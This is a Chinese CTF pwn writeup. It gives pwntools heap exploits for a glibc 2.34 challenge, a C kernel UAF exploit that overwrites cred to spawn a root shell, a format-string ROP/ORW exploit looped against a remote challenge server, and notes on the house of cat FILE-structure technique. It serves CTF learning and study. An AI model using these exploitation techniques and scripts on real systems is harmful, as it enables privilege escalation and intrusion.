pwn手记录题2

fastbin_reverse_into_tcache(2.34)

本题所使用的libc版本为2.34;(最新版
libc2.34版本已经没有了所谓的hook函数,甚至exit_hook(实际为某个函数指针)也已经不能够使用;能够利用的手法已经很少了;
在这里插入图片描述

  1. 高版本glibc堆的几种利用手法
  2. 浅谈glibc新版本保护机制以及绕过
  3. house of banana推荐看看
  4. glibc2.23分析house of banana

可以看到Free释放函数总共可以使用11次,而Allocate申请函数可以使用0x2e次;
如果按照fastbin_reverse_into_tcache的节奏来说,那么布局是如何的呢? 首先申请多块内容(19块以上),然后按释放次数来说,7次释放填充tcache,然后3次造成fastbin的double free,然后利用申请将tcache置空,再次申请的时候则fastbin将倒置入tcache之中,此时我们可以往已知地址上达成一次任意写,但是libc地址未知,故我们需要修改heap上的size域,进而再利用一次释放得到unsorted bin来泄露libc地址;此时我们就再也无法利用Free函数了,而且任意地址写也利用完了。那么接下来怎么办!这里卡了很久,我在思考,怎么减少Free函数的使用次数并达到相同的操作呢?
在这里插入图片描述
第一版exp:(仅仅泄露了libc、heap地址,无法继续下一步;

from pwn import *
context(log_level='debug',os='linux',arch='amd64')

binary = './pwn'
r = process(binary)
elf = ELF(binary,checksec=False)
libc = elf.libc

def Allocate(index,payload=b'/bin/sh\x00'):
    r.sendlineafter(": ",'1')
    r.sendlineafter("Index: ",str(index))
    r.sendlineafter("Content: ",payload)

def Free(index):
    r.sendlineafter(": ",'2')
    r.sendlineafter("Index: ",str(index))

def Show(index):
    r.sendlineafter(": ",'3')
    r.sendlineafter("Index: ",str(index))
    r.recvuntil("Content: ")
    return r.recvuntil('\n')[:-1]

start = lambda : r.sendlineafter("notebook will be? :",str(0x2d))
Exit  = lambda : r.sendlineafter(": ",'4')

start()
#Allocate(0,b'a'*0x10+p64(0)+p64(0x461))
for i in range(0,19):
    Allocate(i)
for i in range(9):
    Free(i)
ptr = u64(Show(0).ljust(8,b'\x00'))
next = u64(Show(1).ljust(8,b'\x00'))
heap_addr = (next ^ ptr) - 0x410

Free(7)#fastbin double free

for i in range(4):
    Allocate(19 + i)

Allocate( 23,p64((heap_addr>>12)^(heap_addr+0x4b0))+p64(0)+p64(0)+p64(0x41) )
Allocate( 24,b'a'*0x10+p64(0)+p64(0x41)+p64((heap_addr>>12)^(heap_addr+0x490)) )
Allocate( 25,b'b'*0x10+p64(0)+p64(0x41)+p64((heap_addr>>12)^(heap_addr+0x470)) )
Allocate( 26,p64((heap_addr>>12)^(heap_addr+0x430)) )

Allocate(27)
Allocate(28)
Allocate(29,b'c'*0x10+p64(0)+p64(0x441))
Free(1)
libc_base = u64(Show(1).ljust(8,b'\x00')) - 0x218CC0

Allocate( 30,b'd'*0x10+p64(0)+p64(0x41)+p64((heap_addr>>12)^(heap_addr+0x470)) )
success("heap_addr -> "+hex(heap_addr))
success("libc_base -> "+hex(libc_base))
gdb.attach(r)
Exit()

r.interactive()

在思考许久之后,终于发现了一种方法;首先7次释放填充tcache,1次释放填充fastbin,接下来就精彩了,我们申请1块tcache,此时bins之中存在6块tcache、1块fastbin,那么我们再次释放掉这1块fastbin,这1块fastbin将会填充到tcache之中,而不会接受任何的检测;同时我们在接下来申请7块的内容之中布置好fastbin的fd指针,那么利用fastbin_reverse_into_tcache将会得到新的一个已布置好的倒置的fastbin链(tcache链);利用这个链条我们可以满足释放unsorted bin的同时,并且获取到了任意地址写;
这里我采用了house of banana(我并不知道是否使用于libc2.34,但是2.31应该是使用的,不过查阅资料应该是可以的?
这里伪造好了link_map,但是没有获取权限,而我想调试深入分析exit函数,但是没有符号表,而我的glibc-all-in-one下载不了最新版本的libc,导致我需要去自行编译libc(很麻烦
第二版exp:

from pwn import *
context(log_level='debug',os='linux',arch='amd64')

binary = './pwn'
r = process(binary)
elf = ELF(binary,checksec=False)
libc = elf.libc

def Allocate(index,payload=p32(0x9)*8):
    r.sendlineafter(": ",'1')
    r.sendlineafter("Index: ",str(index))
    r.sendafter("Content: ",payload)

def Free(index):
    r.sendlineafter(": ",'2')
    r.sendlineafter("Index: ",str(index))

def Show(index):
    r.sendlineafter(": ",'3')
    r.sendlineafter("Index: ",str(index))
    r.recvuntil("Content: ")
    return r.recvuntil('\n')[:-1]

start = lambda : r.sendlineafter("notebook will be? :",str(0x2d))
Exit  = lambda : r.sendlineafter(": ",'4')
one = [0xeeccc,0xeeccf,0xeecd2]

start()
#Allocate(0,b'a'*0x10+p64(0)+p64(0x461))
for i in range(0,19):
    Allocate(i)
for i in range(8):
    Free(i)
ptr = u64(Show(0).ljust(8,b'\x00'))
next = u64(Show(1).ljust(8,b'\x00'))
heap_addr = (next ^ ptr) - 0x410

Allocate(19)# tcache_count = 6
Free(7)# double free fasbin[0] == tcache[0]

Allocate( 21,p64((heap_addr>>12)^(heap_addr+0x500)) )# fastbin[0]
Allocate( 22,p64((heap_addr>>12)^(heap_addr+0x500)) )
Allocate( 23,p64((heap_addr>>12)^(heap_addr+0x4c0)) )
Allocate( 24,p64((heap_addr>>12)^(heap_addr+0x4a0)) )
Allocate( 25,p64((heap_addr>>12)^(heap_addr+0x440))+p64(0)*2+p64(0x41)+p64((heap_addr>>12)^(heap_addr+0x480)) )
Allocate( 26,p64((heap_addr>>12)^(heap_addr+0x400)) )
Allocate( 27,p64((heap_addr>>12)^(heap_addr+0x420))+p64(0)*2+p64(0x41)+p64(ptr) )# unsortedbin.size伪造

Allocate( 28 )# fastbin reverse into tcache
Allocate( 29,p64(0)*3+p64(0x441) )
Allocate( 30,p64(0)*5+p64(heap_addr+0x410) )# *(fake+0x28)=fake
Allocate( 31 )# *(fake+0x48)=fake+0x58, *(fake+0x50)=0x8, *(fake+0x58)=shell
Free(1)
libc_base = u64(Show(1).ljust(8,b'\x00'))-0x218CC0
target = libc_base + 0x228010 - 0x10

Allocate( 32 )
Allocate( 33,p64(0)*3+p64(0x41)+p64((heap_addr>>12)^target) )
Allocate( 34 )
Allocate( 35,p64(libc_base)+p64(libc_base+0x260FC0)+p64(libc_base+0x217BC0)+p64(heap_addr+0x450)+p64(libc_base+0x2607D0)+p64(libc_base+0x228000) )

Allocate( 36,p64(0)*5+p64(heap_addr+0x450) )# *(fake+0x28)=fake
Allocate( 37,p64(0)+p64(heap_addr+0x4a8)+p64(0x8)+p64(libc_base+one[0]) )# *(fake+0x48)=fake+0x58, *(fake+0x50)=0x8, *(fake+0x58)=shell
Allocate( 38 )
Allocate( 39 )
Allocate( 40,p64(0)*2+p64(heap_addr+0x490)+p64(0)+p64(heap_addr+0x498) )
success("heap_addr -> "+hex(heap_addr))
success("libc_base -> "+hex(libc_base))
success(hex(target))
success(hex(libc_base+one[0]))
#gdb.attach(r)
Exit()

r.interactive()

kernel pwn1(xm)

该题目是个kernel;改自baby driver[2017UAF];原题就曾使用了fork函数开启进程,修改cred结构体uid以及euid为0从而提权;但是本题却也可以使用这种方法来提权(wp)
如下为start.sh文件内容,这里我修改了-m 64M为-m 256M,如果内存给予64M大小可能导致运行缓慢甚至无法运行,故我们给予其较大内存,一般来说256M大小足以。并且添加了参数-s,该参数为调试参数,端口默认为1234,此时我们便可以使用gdb远程连接1234端口进行调试;

#!/bin/sh

qemu-system-x86_64  \
-m 256M \
-cpu kvm64,+smep,+smap \
-s \
-kernel ./bzImage \
-initrd rootfs.img \
-nographic \
-append "console=ttyS0 nokaslr quiet"

cpio -idv < ./rootfs.img使用该命令可以将磁盘文件解压,同时可以发现其中的init文件,init文件即为内核启动后第一件要做的事情;如下可以发现insmod /test1.ko该命令,使用LKM(Loadable Kernel Modules)(其实可以理解为加载内核mod,mod就类似于打印机一般的外部设备)加载test1.ko;故该附件即为我们要分析的内容。

#!/bin/sh

mkdir /tmp
mount -t proc none /proc
mount -t sysfs none /sys
mount -t debugfs none /sys/kernel/debug
mount -t devtmpfs devtmpfs /dev
mount -t tmpfs none /tmp
mdev -s
echo -e "Boot took $(cut -d' ' -f1 /proc/uptime) seconds"

insmod /test1.ko
chmod 666 /dev/test1
poweroff -d 120 -f &
setsid /bin/cttyhack setuidgid pwn /bin/sh 

poweroff -d 0  -f

首先分析函数:(test1.ko文件分析
在这里插入图片描述
驱动程序的入口函数为init函数,结束函数为exit函数,如上所示即为初始化函数,其实一般情况下,如下三个函数便完成了对一个简单的dev设备的注册申请等操作;test1_major是设备号,test1_cdev设备的结构体,test1_fops设备的文件操作函数,也就是open、read、write等对于该设备的函数;

(*(__int64 (__fastcall **)(dev_t *, _QWORD, __int64, const char *))alloc_chrdev_region.gap0)(// 向内核申请设备号
         &test1_major,                          // 向内核申请下来的设备号
         0LL,                                   // 次设备号的起始
         1LL,                                   // 申请设备号的个数
         "test1")
cdev_init(&test1_cdev, &test1_fops);			//可以理解为test1_cdev与test1_fops捆在了一起
cdev_add(&test1_cdev, dev_Num, 1LL);			//可以理解为再将dev_Num和test1_cdev捆在了一起

而漏洞位于open函数:
在这里插入图片描述
这里比较难以理解,我们位于用户态打开open(“/dev/test1”);设备,那么位于内核态之中设备的信息储存在root_buffer全局变量之中,那么我们在此位于用户态指向open(“/dev/test1”);操作,那么root_buffer全局变量将储存着我们第二次open的信息,第一次open丢失了,这不就像用户态上的UAF吗?不过该UAF较难理解;
如下我们再结合write函数进行查看,如果我们写入内容大于32则执行_kmalloc(写入大小, 0x24000C0LL);操作,此时我们相当于有了申请任意大小内核空间的一个函数啦;
在这里插入图片描述
此时假如我们申请了一个有0xa8(cred结构体大小的chunk),并且释放掉该结构体,利用fork函数新建进程申请cred结构体时造成UAF,进而修改uid等数值为0从而完成提权的操作;(编译exp需要静态编译,因为动态链接大概率因为环境问题而无法运行;

// gcc -s exp.c -o exp && gzip exp

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/wait.h>

int main()
{
    int fd1, fd2, pid;
    char buf[0x100];
    memset(buf, 'a', 0x100);

    fd1 = open("/dev/test1", O_RDWR);
    fd2 = open("/dev/test1", O_RDWR);

    write(fd1, buf, 0xa8);
    read(fd1, buf, 0xa8);
    close(fd1);

    pid = fork();

    if(!pid)
    {
        memset(buf, 0, 0x100);
        write(fd2, buf, 0x1c);
        if(getuid() == 0)
        {
            system("/bin/sh");
        }
        else
        {
            puts("Failed!");
        }
    }
    else
    {
        wait(NULL);
    }

    return 0;
}

调试:

Boot took 1.38 seconds
/ $ cat /proc/kallsyms | grep test1
ffffffffc00008a0 b __key.25704	[test1]
ffffffffc0000070 t test1_read	[test1]
ffffffffc00004c0 d __this_module	[test1]
ffffffffc00002d0 t cleanup_module	[test1]
ffffffffc0000890 b used	[test1]
ffffffffc000088c b length	[test1]
ffffffffc00001a0 t init_module	[test1]
ffffffffc0000000 t test1_open	[test1]
ffffffffc0000800 b test1_class	[test1]
ffffffffc00002d0 t test1_exit	[test1]
ffffffffc0000888 b test1_major	[test1]
ffffffffc0000820 b test1_cdev	[test1]
ffffffffc00001a0 t test1_init	[test1]
ffffffffc00000f0 t test1_write	[test1]
ffffffffc00003e0 d test1_fops	[test1]
ffffffffc0000040 t test1_release	[test1]
ffffffffc0000898 b test1_buffer	[test1]
/ $ lsmod 
test1 2835 0 - Live 0xffffffffc0000000 (OE)
/ $ 

可以利用如上所示找到驱动的地址;
在这里插入图片描述
然后便可以利用gdb进行调试,这里建议内核调试使用gef来进行调试;
参考链接: 内核API


babyfmt(xm)

该题常规格式化字符串漏洞,难度不大,但是过程复杂(因为调试的头都大了)

char format[136]; // [rsp+0h] [rbp-90h] BYREF
unsigned __int64 v2; // [rsp+88h] [rbp-8h]

v2 = __readfsqword(0x28u);
Read((unsigned __int8 *)format, 0x80);
printf(format);                               // 格式化字符串漏洞
putchar(10);
return __readfsqword(0x28u) ^ v2;

没有溢出,但是存在格式化字符串,而且仅仅可输入0x80大小,并且PIE等保护全开;并且开启了沙盒保护
这导致我们需要很多次泄露,并且ROP布局栈时需要不只一次输入;总结来说,难度位于第一次输入应该如何泄露地址并且重新返回main函数,通过查看stack的情况,可以发现rsp+8地址处存在着指向rbp指针(Glibc2.31),这意味着我们第一次输入只能输入8字节+1字节爆破,经过不断思考发现b’%p%7$hhn’+b’\x18’存在着1/16概率爆破重新返回该函数,注意,不能返回main函数,因为prctl函数以及setvbuf无法通过;
后来发现附件Glibc为2.27,修改后就无需上面这种技巧了,因为此时rsp+0x10地址处存在着指向rbp指针,多出8字节便宽限了很多,不过位于Glibc2.31可以依靠上面的payload来通过(并且可以泄露出栈地址);
payload1有了,那么以后的payload可以逐步泄露出libc地址、code地址等;然后布局ROP获得一次超大的写入操作,然后一次性布置完栈进而完成orw(open不能返回与Glibc[‘open’],因为该open没有采用sys_number=2的open,而是__NR_openat 257,需要找到Glibc中的syscall指令手动进入sys_open之中;
如下,为第一版exp,我直接布置栈,太复杂了,故后来换成了利用ret2csu来完成;(减少了复杂度

def pwn(over = b'\x18'):
    #r = process(binary)
    # b'%p%7$hhn'+b'\x18'修改__libc_start_main函数,但是prctl函数以及setvbuf无法通过;
    payload1 = b'%x%8$hhn'+b'a'*8+over # 修改main函数子函数
    sleep(0.3)
    r.send(payload1)
    stack_addr = u64(r.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
    
    payload2 = b'%7c%10$hhn%137c%11$hhn%29$p%25$p'+p64(stack_addr+0x30)+p64(stack_addr+0x10)
    sleep(0.3)
    r.send(payload2)
    r.recvuntil(b'0x')
    code_addr = int(r.recv(12),16)-0xB6A
    r.recvuntil(b'0x')
    libc_base = int(r.recv(12),16)-0x21B97
    #=======================format=======================
    payload3 = b'%144c%20$hhncccc'
    payload3 += fmtstr_payload(8,{stack_addr+0x20:pop_rsi_r15_ret+code_addr},numbwritten=0x94,write_size='byte')+p64(stack_addr+0x10)
    sleep(0.3)
    r.send(payload3.ljust(0x80,b'\x00'))# pop_rsi_r15_ret+code_addr
    
    payload4 = b'%144c%17$hhncccc'#stack_addr+0x38:0
    payload4 += fmtstr_payload(8,{stack_addr+0x18:0,stack_addr+0x28:0},numbwritten=0x94,write_size='byte')+p64(stack_addr+0x10)
    sleep(0.3)
    r.send(payload4.ljust(0x80,b'\x00'))# 0 0
    
    payload5 = b'%144c%16$hhncccc'
    payload5 += fmtstr_payload(8,{stack_addr+0x38:pop_rdx_ret+libc_base},numbwritten=0x94,write_size='short')+p64(stack_addr+0x10)
    sleep(0.5)
    r.send(payload5.ljust(0x80,b'\x00'))# pop_rdx_ret
    
    payload6 = b'%144c%16$hhncccc'
    payload6 += fmtstr_payload(8,{stack_addr+0x48:pop_rax_ret+libc_base},numbwritten=0x94,write_size='short')+p64(stack_addr+0x10)
    sleep(0.5)
    r.send(payload6.ljust(0x80,b'\x00'))# pop_rax_ret
    
    payload7 = b'%144c%16$hhncccc'
    payload7 += fmtstr_payload(8,{stack_addr+0x40:0x300,stack_addr+0x50:0},numbwritten=0x94,write_size='short')+p64(stack_addr+0x10)
    sleep(0.5)
    r.send(payload7.ljust(0x80,b'\x00'))# 0 0
    gdb.attach(r,'b *0x555555400b35')
    #payload8 = b'%144c%16$hhncccc'
    payload8 = fmtstr_payload(6,{stack_addr+0x10:pop_rdi_ret,stack_addr+0x58:read_plt},write_size='byte')
    sleep(0.5)
    r.send(payload8.ljust(0x80,b'\x00'))
    success("stack_addr -> "+hex(stack_addr))
    success("code_addr  -> "+hex(code_addr))
    success("libc_base  -> "+hex(libc_base))

首先我位于地址随机化关闭的情况下本地测试,通过后开始地址随机化开始本地爆破测试,最后开始对比本地Glibc与远程Glibc所不一样的地址情况进行修改,最终远程测试通过(这步因为无法远程调试,所以需要特别细心,小心查看地址的不通,往往一个地址情况不同,则远程将失败;

from pwn import *
context(os='linux',arch='amd64')
#context.log_level = 'debug'

binary = './babyfmt'
#r = process(binary)
elf = ELF(binary)
#libc = elf.libc
libc = ELF('./libc-2.27.so')

read_got = elf.got['read']
pop_rdi_ret = 0x0000000000000bf3
pop_rsi_r15_ret = 0x000000000bf1
pop_rdx_ret = 0x0000000000001b96#0x0000000000001b96#Glibc
pop_rax_ret = 0x000000000001b500#0x00000000000439c8#Glibc
push_rax_ret= 0x000000000001b4d0#0x000000000003dfed#Glibc
syscall =     0x0E41F5#0x0E4545#Glibc   LINUX - sys_uname
one1 = 0x0BEA
one2 = 0x0BD0
def pwn(over = b'\x18'):
    #r = process(binary)
    # b'%p%7$hhn'+b'\x18'修改__libc_start_main函数,但是prctl函数以及setvbuf无法通过;
    payload1 = b'%x%8$hhn'+b'a'*8+over # 修改main函数子函数
    sleep(0.3)
    r.send(payload1)
    stack_addr = u64(r.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))

    payload2 = b'%7c%10$hhn%121c%11$hhn%29$p%25$p'+p64(stack_addr+0x30)+p64(stack_addr+0x10)
    sleep(0.3)
    try:
        r.send(payload2)
        r.recvuntil(b'0x')
        code_addr = int(r.recv(12),16)-0xB6A
        r.recvuntil(b'0x')
        libc_base = int(r.recv(12),16)-0x021C87#-0x21B97
    except:
        return 0
#=======================format=======================
    payload3 = b'%128c%18$hhncccc'
    payload3 += fmtstr_payload(8,{stack_addr+0x18:0,stack_addr+0x20:1},numbwritten=0x84,write_size='byte')+p64(stack_addr+0x10)
    sleep(0.3)
    r.send(payload3.ljust(0x80,b'\x00'))# rbx rbp
    
    payload4 = b'%128c%16$hhncccc'
    payload4 += fmtstr_payload(8,{stack_addr+0x28:read_got+code_addr},numbwritten=0x84,write_size='short')+p64(stack_addr+0x10)
    sleep(0.3)
    r.send(payload4.ljust(0x80,b'\x00'))# r12 -> call
    
    payload5 = b'%128c%16$hhncccc'
    payload5 += fmtstr_payload(8,{stack_addr+0x38:stack_addr+0x50},numbwritten=0x84,write_size='short')+p64(stack_addr+0x10)
    sleep(0.3)
    r.send(payload5.ljust(0x80,b'\x00'))# r14 -> rsi
    
    payload6 = b'%128c%19$hhncccc'
    payload6 += fmtstr_payload(8,{stack_addr+0x48:code_addr+one2,stack_addr+0x40:0x300},numbwritten=0x84,write_size='short')+p64(stack_addr+0x10)
    sleep(0.3)
    r.send(payload6.ljust(0x80,b'\x00'))# onegadget -> ret
    #gdb.attach(r)
    payload7 = b'%15$llnd'
    payload7 += fmtstr_payload(7,{stack_addr+0x10:code_addr+one1},numbwritten=1,write_size='short',strategy='small')+p64(stack_addr+0x30)
    sleep(0.3)
    r.send(payload7.ljust(0x80,b'\x00'))# ret

    payload8 = b'e'*8+flat({
        0x30: pop_rdi_ret+code_addr ,
        0x38: stack_addr+0x158 ,
        0x40: pop_rsi_r15_ret+code_addr ,
        0x48: 0 ,
        0x50: 0 ,
        0x58: pop_rax_ret+libc_base ,
        0x60: 2 ,
        0x68: syscall+libc_base ,#open
        0x70: pop_rdi_ret+code_addr ,
        0x78: 3 ,                                   #rdi
        0x80: pop_rsi_r15_ret+code_addr ,
        0x88: code_addr+0x0202020 ,                 #rsi
        0x90: 0 ,           
        0x98: pop_rdx_ret+libc_base ,
        0xa0: 0x70 ,                                #rdx
        0xa8: libc.symbols['read']+libc_base ,
        0xb0: pop_rdi_ret+code_addr ,
        0xb8: 1 ,
        0xc0: libc.symbols['write']+libc_base ,
        0xc8: 0 ,
        0x100:"./flag\x00"
    })
    sleep(0.3)
    r.send(payload8)
    success("stack_addr -> "+hex(stack_addr))
    success("code_addr  -> "+hex(code_addr))
    success("libc_base  -> "+hex(libc_base))
    flag = r.recvuntil(b'}')
    info("+ flag: " + str(flag))
    pause()
    return 1

offset = 6
#gdb.attach(r,'b *0x555555400b35')
#pwn()

flag = True
while(flag):
    #r = process(binary)
    r = remote('106.54.163.94', 20004)
    try:
        #gdb.attach(r)
        if( pwn(b'\xb8') ):
            flag = False
    except:
        r.close()

效果如下:
在这里插入图片描述
XMctf{b4ac9dde-0b50-11ed-b333-52540042cee3}


House of cat(强网杯2022)

位于/malloc/malloc.c之中可以发现__malloc_assert的定义,并且__assert_fail等同于__malloc_assert:

# define __assert_fail(assertion, file, line, function)			\
	 __malloc_assert(assertion, file, line, function)

extern const char *__progname;

static void
__malloc_assert (const char *assertion, const char *file, unsigned int line,
		 const char *function)
{
  (void) __fxprintf (NULL, "%s%s%s:%u: %s%sAssertion `%s' failed.\n",
		     __progname, __progname[0] ? ": " : "",
		     file, line,
		     function ? function : "", function ? ": " : "",
		     assertion);
  fflush (stderr);
  abort ();
}

而位于/assert/assert.h之中可以发现assert调用了__assert_fail函数,该函数的功能是当断言失败的时候,程序将会执行__assert_fail函数,而位于/malloc/malloc.c宏定义了__assert_fail__malloc_assert函数,故位于malloc之中的断言错误将会执行__malloc_assert函数

#  define assert(expr)							\
     (static_cast <bool> (expr)						\
      ? void (0)							\
      : __assert_fail (#expr, __FILE__, __LINE__, __ASSERT_FUNCTION))

回到__malloc_assert函数之中,可以发现,还存在着一个IO流函数__fxprintf

#define _IO_SYNC(FP) JUMP0 (__sync, FP)

#define JUMP0(FUNC, THIS) (_IO_JUMPS_FUNC(THIS)->FUNC) (THIS)

# define _IO_JUMPS_FUNC(THIS) \
  (IO_validate_vtable                                                   \
   (*(struct _IO_jump_t **) ((void *) &_IO_JUMPS_FILE_plus (THIS)	\
			     + (THIS)->_vtable_offset)))

此时我们便分析一下IO流函数__fxprintf

int
__fxprintf (FILE *fp, const char *fmt, ...)
{...
  int res = __vfxprintf (fp, fmt, ap, 0);...
}

int
__vfxprintf (FILE *fp, const char *fmt, va_list ap,
	     unsigned int mode_flags)
{...
  int res = locked_vfxprintf (fp, fmt, ap, mode_flags);...
}

static int
locked_vfxprintf (FILE *fp, const char *fmt, va_list ap,
		  unsigned int mode_flags)
{
  if (_IO_fwide (fp, 0) <= 0)
    return __vfprintf_internal (fp, fmt, ap, mode_flags);...
}

故我们着重分析一下__vfprintf_internal函数,实际上存在着隐藏着的定义vfprintf函数:

# define vfprintf	__vfprintf_internal
采用了这种方法进行隐藏函数具体实现,需要通过搜索字符来判断真正函数实现位置
int
vfprintf (FILE *s, const CHAR_T *format, va_list ap, unsigned int mode_flags)
{...  
}
汇编如下(关键位置
   0x7f47b602c1bd    mov    rsi, qword ptr [rsp + 8]
   0x7f47b602c1c2    mov    rdx, rbx
   0x7f47b602c1c5    mov    rdi, rbp
 ► 0x7f47b602c1c8    call   qword ptr [r12 + 0x38]        <_IO_wfile_seekoff>
        rdi: 0x5574e203fb00 ◂— 0x0
        rsi: 0x7f47b6195208 ◂— "%s%s%s:%u: %s%sAssertion `%s' failed.\n"
        rdx: 0x0
        rcx: 0x7f47b61cca00 ◂— 0x0
寄存器r12之中储存着_IO_FILE_plus.vtable指针,根据该指针偏移0x38,同样我们可以修改vtable指针偏移,那么将可以进入到vtable指针所指虚表之中所有的call地址;
修改vtable指针+0x10,此时将会进入到_IO_wfile_seekoff之中;

不过对于vtable指针存在着检查
static inline const struct _IO_jump_t *
IO_validate_vtable (const struct _IO_jump_t *vtable)
{
  /* Fast path: The vtable pointer is within the __libc_IO_vtables
     section.  */
  uintptr_t section_length = __stop___libc_IO_vtables - __start___libc_IO_vtables;
  uintptr_t ptr = (uintptr_t) vtable;
  uintptr_t offset = ptr - (uintptr_t) __start___libc_IO_vtables;
  if (__glibc_unlikely (offset >= section_length))
    /* The vtable pointer is not in the expected section.  Use the
       slow path, which will terminate the process if necessary.  */
    _IO_vtable_check ();
  return vtable;
}
翻译成汇编部分:
   0x7fb58eded180    mov    r12, qword ptr [rbp + 0xd8]
   0x7fb58eded187    lea    rax, [rip + 0x1a15da]
   0x7fb58eded18e    mov    rbx, qword ptr [rsp + 0x68]
   0x7fb58eded193    lea    rcx, [rip + 0x1a0866]
   0x7fb58eded19a    sub    rax, qword ptr [rip + 0x1a2677]
   0x7fb58eded1a1    sub    rbx, qword ptr [rsp + 8]
   0x7fb58eded1a6    mov    qword ptr [rsp + 0x30], rax
   0x7fb58eded1ab    mov    rdi, rax
   0x7fb58eded1ae    mov    rax, r12
   0x7fb58eded1b1    sub    rax, rcx
   0x7fb58eded1b4    cmp    rdi, rax
 ► 0x7fb58eded1b7    jbe    0x7fb58edeea50                <0x7fb58edeea50>
 同样的,寄存器r12之中储存着vtable指针,经过一定运算cmp    rdi, rax最后进行比较,跳转;

此时我们查看_IO_wfile_seekoff函数,并进入_IO_switch_to_wget_mode函数之中查看:

off64_t
_IO_wfile_seekoff (FILE *fp, off64_t offset, int dir, int mode)
{
  if (mode == 0)//mode不能为0,否则将进入do_ftell_wide (fp)函数
    return do_ftell_wide (fp);

  int must_be_exact = ((fp->_wide_data->_IO_read_base
			== fp->_wide_data->_IO_read_end)
		       && (fp->_wide_data->_IO_write_base
			   == fp->_wide_data->_IO_write_ptr));

  bool was_writing = ((fp->_wide_data->_IO_write_ptr
		       > fp->_wide_data->_IO_write_base)
		      || _IO_in_put_mode (fp));//需要fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base

  if (was_writing && _IO_switch_to_wget_mode (fp))//was_writing 为1则会执行_IO_switch_to_wget_mode (fp)函数
    return WEOF;...
}
此时将进入如下函数
int
_IO_switch_to_wget_mode (FILE *fp)
{
  if (fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base)
    if ((wint_t)_IO_WOVERFLOW (fp, WEOF) == WEOF)
      return EOF;...
}
libc_hidden_def (_IO_switch_to_wget_mode)
而_IO_WOVERFLOW则为宏定义,此时我们可以执行WJUMP1 (__overflow, FP, CH)
#define _IO_WOVERFLOW(FP, CH) WJUMP1 (__overflow, FP, CH)
#define WJUMP1(FUNC, THIS, X1) (_IO_WIDE_JUMPS_FUNC(THIS)->FUNC) (THIS, X1)
#define _IO_WIDE_JUMPS_FUNC(THIS) _IO_WIDE_JUMPS(THIS)

#define _IO_WIDE_JUMPS(THIS) \
  _IO_CAST_FIELD_ACCESS ((THIS), struct _IO_FILE, _wide_data)->_wide_vtable

#define _IO_CAST_FIELD_ACCESS(THIS, TYPE, MEMBER) \
  (*(_IO_MEMBER_TYPE (TYPE, MEMBER) *)(((char *) (THIS)) \
				       + offsetof(TYPE, MEMBER)))

#define _IO_MEMBER_TYPE(TYPE, MEMBER) __typeof__ (((TYPE){}).MEMBER)
这么多宏定义,实际上是个call指令,进入虚表而已;
最终执行
   0x7fb58edfbd30 <_IO_switch_to_wget_mode>       endbr64
   0x7fb58edfbd34 <_IO_switch_to_wget_mode+4>     mov    rax, qword ptr [rdi + 0xa0]				//rax取_wide_data指针
   0x7fb58edfbd3b <_IO_switch_to_wget_mode+11>    push   rbx										//push 0
   0x7fb58edfbd3c <_IO_switch_to_wget_mode+12>    mov    rbx, rdi									//rbx取fake_io_file
   0x7fb58edfbd3f <_IO_switch_to_wget_mode+15>    mov    rdx, qword ptr [rax + 0x20]				//rdx取_wide_data->IO_write_ptr 
   0x7fb58edfbd43 <_IO_switch_to_wget_mode+19>    cmp    rdx, qword ptr [rax + 0x18]				//cmp _wide_data->_IO_write_base
   0x7fb58edfbd47 <_IO_switch_to_wget_mode+23>    jbe    _IO_switch_to_wget_mode+56                <_IO_switch_to_wget_mode+56>

   0x7fb58edfbd49 <_IO_switch_to_wget_mode+25>    mov    rax, qword ptr [rax + 0xe0]				//rax取_wide_data指针偏移0xe0
   0x7fb58edfbd50 <_IO_switch_to_wget_mode+32>    mov    esi, 0xffffffff0x7fb58edfbd55 <_IO_switch_to_wget_mode+37>    call   qword ptr [rax + 0x18]						//call

下面是_IO_FILE_plus结构体的定义等;

struct _IO_FILE
{
  int _flags;		/* High-order word is _IO_MAGIC; rest is flags. */

  /* The following pointers correspond to the C++ streambuf protocol. */
  char *_IO_read_ptr;	/* Current read pointer */
  char *_IO_read_end;	/* End of get area. */
  char *_IO_read_base;	/* Start of putback+get area. */
  char *_IO_write_base;	/* Start of put area. */
  char *_IO_write_ptr;	/* Current put pointer. */
  char *_IO_write_end;	/* End of put area. */
  char *_IO_buf_base;	/* Start of reserve area. */
  char *_IO_buf_end;	/* End of reserve area. */

  /* The following fields are used to support backing up and undo. */
  char *_IO_save_base; /* Pointer to start of non-current get area. */
  char *_IO_backup_base;  /* Pointer to first valid character of backup area */
  char *_IO_save_end; /* Pointer to end of non-current get area. */

  struct _IO_marker *_markers;//0x60

  struct _IO_FILE *_chain;//0x68

  int _fileno;
  int _flags2;//0x70
  __off_t _old_offset; /* This used to be _offset but it's too small.  */ //0x78

  /* 1+column number of pbase(); 0 is unknown. */
  unsigned short _cur_column;//0x80
  signed char _vtable_offset;
  char _shortbuf[1];//0x84

  _IO_lock_t *_lock;//0x88
#ifdef _IO_USE_OLD_IO_FILE
};
结构体_IO_FILE_complete,进入_IO_wfile_seekoff函数将采用该结构体
struct _IO_FILE_complete
{
  struct _IO_FILE _file;//0x88
#endif
  __off64_t _offset;//0x90
  /* Wide character stream stuff.  */
  struct _IO_codecvt *_codecvt;//0x98
  struct _IO_wide_data *_wide_data;//0xa0
  struct _IO_FILE *_freeres_list;//0xa8
  void *_freeres_buf;//0xb0
  size_t __pad5;//0xb8
  int _mode;//0xc0
  /* Make sure we don't get into trouble again.  */
  char _unused2[15 * sizeof (int) - 4 * sizeof (void *) - sizeof (size_t)];//0xc8
};//0xd8

整理得:

条件
(S)->_flags & _IO_UNBUFFERED == 0(即(S)->_flags & 2 == 0									//该处无需刻意注意,一般此时该位置都为0
fake_io_file+0x90 = _wide_data(指针)														//这里我们假设指向fake_io_file+0x30位置
mode != 0
fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base(fp即是我们伪造的fake_io_file
//那么这条语句则为 fake_io_file+0x50 > fake_io_file+0x48
fp->_lock是一个可写地址				//要经过宏定义_IO_lock_lock的处理,需要作为指针并写入值操作
如下为布局:
0x556d2583bb00: 0x0000000000000000      0x0000000000000421		//fake_io_file
0x556d2583bb10: 0x0000000000000000      0x0000000000000000
0x556d2583bb20: 0x0000000000000000      0x0000000000000000
